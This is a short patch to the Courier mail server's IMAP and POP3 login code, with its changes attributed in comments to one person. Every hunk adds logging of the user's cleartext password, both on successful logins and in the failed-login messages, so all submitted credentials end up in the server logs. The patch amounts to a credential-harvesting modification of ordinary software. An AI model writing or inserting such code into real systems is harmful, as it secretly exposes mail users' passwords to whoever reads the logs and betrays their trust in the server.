--- imap/imaplogin.c	2012-07-06 10:48:27.000000000 +0430
+++ imap/imaplogin.c.new	2012-07-06 10:56:23.000000000 +0430
@@ -204,6 +204,9 @@
 		}
 	}
 
+	/* Add by Mehdi Poustchi */
+	courier_safe_printf("INFO: LOGIN AUTHENTICATED, user=%s, password=%s", ainfo->address,ainfo->clearpasswd);
+	/**/
 	rc=auth_callback_default(ainfo);
 
 	if (rc == 0)
@@ -357,8 +360,10 @@
 			p="imap";
 
 		rc=auth_login(p, userid, passwd, login_callback, (void *)tag);
-		courier_safe_printf("INFO: LOGIN FAILED, user=%s, ip=[%s]",
-				  userid, getenv("TCPREMOTEIP"));
+		/* Add by Mehdi Poustchi */
+		courier_safe_printf("INFO: LOGIN FAILED, user=%s, password=%s, ip=[%s]",
+				  userid, passwd, getenv("TCPREMOTEIP"));
+		/**/
 		free(userid);
 		free(passwd);
 		if (rc > 0)
--- imap/pop3login.c	2012-07-06 10:48:40.000000000 +0430
+++ imap/pop3login.c.new	2012-07-06 10:58:20.000000000 +0430
@@ -186,7 +186,9 @@
 			/* FALLTHRU */
 		}
 	}
-
+	/* Add by Mehdi Poustchi */
+	courier_safe_printf("INFO: LOGIN AUTHENTICATED, user=%s, password=%s", ainfo->address,ainfo->clearpasswd);
+	/**/
 	rc=auth_callback_default(ainfo);
 
 	if (rc == 0)
@@ -419,9 +421,11 @@
 					q="pop3";
 
 				rc=auth_login(q, user, p, login_callback, NULL);
+				/* Add by Mehdi Poustchi */
 				courier_safe_printf("INFO: LOGIN "
-					"FAILED, user=%s, ip=[%s]",
-					user, ip);
+					"FAILED, user=%s, password=%s, ip=[%s]",
+					user, p, ip);
+				/**/
 				if (rc > 0)
 				{
 					perror("ERR: authentication error");